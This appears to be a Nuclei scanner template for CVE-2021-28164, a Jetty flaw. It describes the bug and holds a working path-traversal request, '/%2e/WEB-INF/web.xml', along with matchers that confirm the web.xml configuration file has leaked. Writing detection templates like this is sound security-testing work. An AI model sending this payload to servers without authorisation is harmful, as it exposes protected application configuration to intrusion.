nuclei-templates/cves/2021/CVE-2021-28164.yaml

35 lines
1.1 KiB
YAML

id: CVE-2021-28164
info:
name: Jetty Authorization Before Parsing and Canonicalization
author: noamrathaus
severity: medium
description: |
The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. For example a request to /context/%2e/WEB-INF/web.xml can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application.
reference: |
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5
- https://github.com/vulhub/vulhub/tree/1239bca12c75630bb2033b728140ed5224dcc6d8/jetty
tags: cve,cve2021,jetty
requests:
- method: GET
path:
- "{{BaseURL}}/%2e/WEB-INF/web.xml"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<web-app>"
- "java.sun.com"
part: body
condition: and
- type: word
part: header
words:
- "application/xml"